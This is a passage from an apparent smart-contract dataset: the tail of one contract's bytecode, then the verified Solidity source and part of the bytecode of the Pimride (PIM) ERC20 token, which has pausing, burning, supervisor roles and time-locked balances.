40183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b6003805460001901906106849082611447565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611357565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561134f576000868152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959b50600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156112cc5780601f106112a1576101008083540402835291602001916112cc565b820191906000526020600020905b8154815290600101906020018083116112af57829003601f168201915b505091505060006040518083038185875af192505050156113175760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261134f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561136f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ef926002850192910190611470565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561146b5760008381526020902061146b9181019083016114ee565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114b157805160ff19168380011785556114de565b828001600101855582156114de579182015b828111156114de5782518255916020019190600101906114c3565b506114ea9291506114ee565b5090565b610b9791905b808211156114ea57600081556001016114f45600a165627a7a7230582051ad4d61517cc7316b7b7e48dec64eb392dc98308a8ee56bbedc6fb9352afac50029
{"success": true, "error": null, "results": {}}
533
0x63c28595b06b71e350c711c21f3e31fb63be2a66
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title PIM token **/ contract PIM is StandardBurnableToken, PausableToken { using SafeMath for uint256; string public constant name = "Pimride"; string public constant symbol = "PIM"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 1e9 * (10 ** uint256(decimals)); uint constant LOCK_TOKEN_COUNT = 1000; struct LockedUserInfo{ uint256 _releaseTime; uint256 _amount; } mapping(address => LockedUserInfo[]) private lockedUserEntity; mapping(address => bool) private supervisorEntity; mapping(address => bool) private lockedWalletEntity; modifier onlySupervisor() { require(owner == msg.sender || supervisorEntity[msg.sender]); _; } event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); event PrintLog( address indexed sender, string _logName, uint256 _value ); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(msg.sender)); require(msg.sender != to,"Check your address!!"); if (lockedUserEntity[msg.sender].length > 0 ) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isLockedWalletEntity(from) && !isLockedWalletEntity(msg.sender)); if (lockedUserEntity[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlySupervisor whenNotPaused returns (bool) { require(releaseTime > now && value > 0, "Check your values!!;"); if(lockedUserEntity[holder].length >= LOCK_TOKEN_COUNT){ return false; } transfer(holder, value); _lock(holder,value,releaseTime); return true; } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) { balances[holder] = balances[holder].sub(value); lockedUserEntity[holder].push( LockedUserInfo(releaseTime, value) ); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockedUserInfo storage lockedUserInfo = lockedUserEntity[holder][idx]; uint256 releaseAmount = lockedUserInfo._amount; delete lockedUserEntity[holder][idx]; lockedUserEntity[holder][idx] = lockedUserEntity[holder][lockedUserEntity[holder].length.sub(1)]; lockedUserEntity[holder].length -=1; emit Unlock(holder, releaseAmount); balances[holder] = balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns(bool) { for(uint256 idx =0; idx < lockedUserEntity[holder].length ; idx++ ) { if (lockedUserEntity[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if( _unlock(holder, idx) ) { idx -=1; } } } return true; } function setLockTime(address holder, uint idx, uint256 releaseTime) onlySupervisor public returns(bool){ require(holder !=address(0) && idx >= 0 && releaseTime > now); require(lockedUserEntity[holder].length >= idx); lockedUserEntity[holder][idx]._releaseTime = releaseTime; return true; } function getLockedUserInfo(address _address) view public returns (uint256[], uint256[]){ require(msg.sender == _address || msg.sender == owner || supervisorEntity[msg.sender]); uint256[] memory _returnAmount = new uint256[](lockedUserEntity[_address].length); uint256[] memory _returnReleaseTime = new uint256[](lockedUserEntity[_address].length); for(uint i = 0; i < lockedUserEntity[_address].length; i ++){ _returnAmount[i] = lockedUserEntity[_address][i]._amount; _returnReleaseTime[i] = lockedUserEntity[_address][i]._releaseTime; } return (_returnAmount, _returnReleaseTime); } function burn(uint256 _value) onlySupervisor public { super._burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) onlySupervisor public { super.burnFrom(_from, _value); } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if( lockedUserEntity[owner].length >0 ){ for(uint i=0; i<lockedUserEntity[owner].length;i++){ totalBalance = totalBalance.add(lockedUserEntity[owner][i]._amount); } } return totalBalance; } function setSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && !supervisorEntity[_address]); supervisorEntity[_address] = true; emit PrintLog(_address, "isSupervisor", 1); return true; } function removeSupervisor(address _address) onlyOwner public returns (bool){ require(_address !=address(0) && supervisorEntity[_address]); delete supervisorEntity[_address]; emit PrintLog(_address, "isSupervisor", 0); return true; } function setLockedWalletEntity(address _address) onlySupervisor public returns (bool){ require(_address !=address(0) && !lockedWalletEntity[_address]); lockedWalletEntity[_address] = true; emit PrintLog(_address, "isLockedWalletEntity", 1); return true; } function removeLockedWalletEntity(address _address) onlySupervisor public returns (bool){ require(_address !=address(0) && lockedWalletEntity[_address]); delete lockedWalletEntity[_address]; emit PrintLog(_address, "isLockedWalletEntity", 0); return true; } function isSupervisor(address _address) view onlyOwner public returns (bool){ return supervisorEntity[_address]; } function isLockedWalletEntity(address _from) view private returns (bool){ return lockedWalletEntity[_from]; } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806318160ddd1461026457806323b872dd1461028f5780632ff2e9dc14610314578063313ce5671461033f5780633f4ba83a1461037057806342966c68146103875780635c975abb146103b457806366188463146103e357806370a08231146104485780637128defb1461049f578063715018a6146104fa57806379cc67901461051157806381a244591461055e5780638456cb59146105b95780638477a3f4146105d05780638da5cb5b146106b05780639299eb301461070757806395d89b4114610762578063997fdb1f146107f2578063a9059cbb14610861578063b74467df146108c6578063d73dd62314610921578063dd62ed3e14610986578063de6baccb146109fd578063eb7ee54814610a6c578063f2fde38b14610ac7575b600080fd5b34801561017b57600080fd5b50610184610b0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b43565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610b73565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7d565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b50610329610c2c565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b50610354610c3d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037c57600080fd5b50610385610c42565b005b34801561039357600080fd5b506103b260048036038101908080359060200190929190505050610d02565b005b3480156103c057600080fd5b506103c9610dbf565b604051808215151515815260200191505060405180910390f35b3480156103ef57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b34801561045457600080fd5b50610489600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e02565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f36565b604051808215151515815260200191505060405180910390f35b34801561050657600080fd5b5061050f611105565b005b34801561051d57600080fd5b5061055c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061120a565b005b34801561056a57600080fd5b5061059f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c8565b604051808215151515815260200191505060405180910390f35b3480156105c557600080fd5b506105ce61137a565b005b3480156105dc57600080fd5b50610611600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143b565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561065857808201518184015260208101905061063d565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561069a57808201518184015260208101905061067f565b5050505090500194505050505060405180910390f35b3480156106bc57600080fd5b506106c561176f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071357600080fd5b50610748600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611795565b604051808215151515815260200191505060405180910390f35b34801561076e57600080fd5b5061077761196e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107b757808201518184015260208101905061079c565b50505050905090810190601f1680156107e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107fe57600080fd5b50610847600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506119a7565b604051808215151515815260200191505060405180910390f35b34801561086d57600080fd5b506108ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b6b565b604051808215151515815260200191505060405180910390f35b3480156108d257600080fd5b50610907600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611caa565b604051808215151515815260200191505060405180910390f35b34801561092d57600080fd5b5061096c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ecd565b604051808215151515815260200191505060405180910390f35b34801561099257600080fd5b506109e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611efd565b6040518082815260200191505060405180910390f35b348015610a0957600080fd5b50610a52600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611f84565b604051808215151515815260200191505060405180910390f35b348015610a7857600080fd5b50610aad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061214e565b604051808215151515815260200191505060405180910390f35b348015610ad357600080fd5b50610b08600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061237b565b005b6040805190810160405280600781526020017f50696d726964650000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610b6157600080fd5b610b6b83836124d3565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff16151515610b9b57600080fd5b610ba4846125c5565b158015610bb75750610bb5336125c5565b155b1515610bc257600080fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115610c1857610c168461261b565b505b610c23848484612701565b90509392505050565b600860ff16600a0a633b9aca000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9e57600080fd5b600360149054906101000a900460ff161515610cb957600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610da75750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610db257600080fd5b610dbc3382612733565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610df057600080fd5b610dfa83836128e6565b905092915050565b6000806000610e1084612b77565b91506000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115610f2c57600090505b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015610f2b57610f1c600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515610efb57fe5b90600052602060002090600202016001015483612bbf90919063ffffffff16565b91508080600101915050610e62565b5b8192505050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561101a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561102557600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f8c5488c20f72c8e1e70d2fb015bb3f71075f6b62981493b11d7bc228dcd3dc98600060405180806020018381526020018281038252600c8152602001807f697353757065727669736f7200000000000000000000000000000000000000008152506020019250505060405180910390a260019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806112af5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156112ba57600080fd5b6112c48282612bdd565b5050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561132657600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d657600080fd5b600360149054906101000a900460ff161515156113f257600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60608060608060008573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114ca5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061151e5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561152957600080fd5b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905060405190808252806020026020018201604052801561159a5781602001602082028038833980820191505090505b509250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905060405190808252806020026020018201604052801561160e5781602001602082028038833980820191505090505b509150600090505b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561176157600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208